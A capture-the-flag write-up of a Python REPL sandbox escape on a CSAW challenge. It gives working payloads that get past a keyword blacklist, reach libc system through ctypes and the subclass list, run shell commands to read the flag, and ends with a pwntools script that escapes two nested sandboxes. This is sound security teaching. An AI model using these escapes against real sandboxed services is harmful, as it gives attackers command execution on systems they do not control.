> Setting up a new coding environment for my data science > students. Some of them are l33t h4ck3rs that got RCE and crashed my > machine a few times :(. Can you help test this before I use it for > my class? Two sandboxes should be better than one... > > nc pwn.chal.csaw.io 5011 This service hosts a Python REPL with a ridiculously low timeout. I've initially done some blind probing using payloads from and discovered that `().__class__.__bases__[0].__subclasses__()` evaluates to all available classes. It's possible to instantiate objects from them and execute their methods, however calling anything interesting like `read` raises an exception. The source code shows why: def main(): print("EduPy 3.8.2") while True: try: command = input(">>> ") if any([x in command for x in blacklist.BLACKLIST]): raise Exception("not allowed!!") final_cmd = """ uOaoBPLLRN = open("sandbox.py", "r") uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8) ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ") AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU] bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU] uOaoBPLLRN.close() HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg) RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command exec(final_cmd) except (KeyboardInterrupt, EOFError): return 0 except Exception as e: print(f"Exception: {e}") It's a bad words filter. There's a number of ways to bypass this, for example with string concatenation. To call a method dynamically, `__getitem__('sy'+'stem')` can be used. Unobfuscating the sandbox code shows it's running in an environment with numpy loaded up. This explains why the ctypes class is available at the 246th position of the class list. It allows calling all kinds of C functions, including `system`. My final payload: $ nc pwn.chal.csaw.io 5011 <<< "print(blacklist.BLACKLIST)" EduPy 3.8.2 >>> ['__builtins__', '__import__', 'eval', 'exec', 'import', 'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 'dir', 'type'] >>> % $ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'ls'))" EduPy 3.8.2 >>> blacklist.py flag.txt runner.py sandbox.py solver.py 0 >>> % $ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'cat flag.txt'))" EduPy 3.8.2 >>> flag{y4_sl1th3r3d_0ut} 0 >>> % Bonus: The file listing shown above includes an intended solution that actually bypasses two separate sandboxes. Behold: >>> #!/usr/bin/env python3 from pwn import * def main(): p = remote("localhost", "8000") numpy_escape = "RMbPOQHCzt.vdot(RMbPOQHCzt.intc(), RMbPOQHCzt.ndarray(1, {}))" py_escape = "[].__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')" p.sendlineafter(">>> ", numpy_escape) p.sendlineafter(">> ", py_escape) p.interactive() if __name__ == "__main__": main()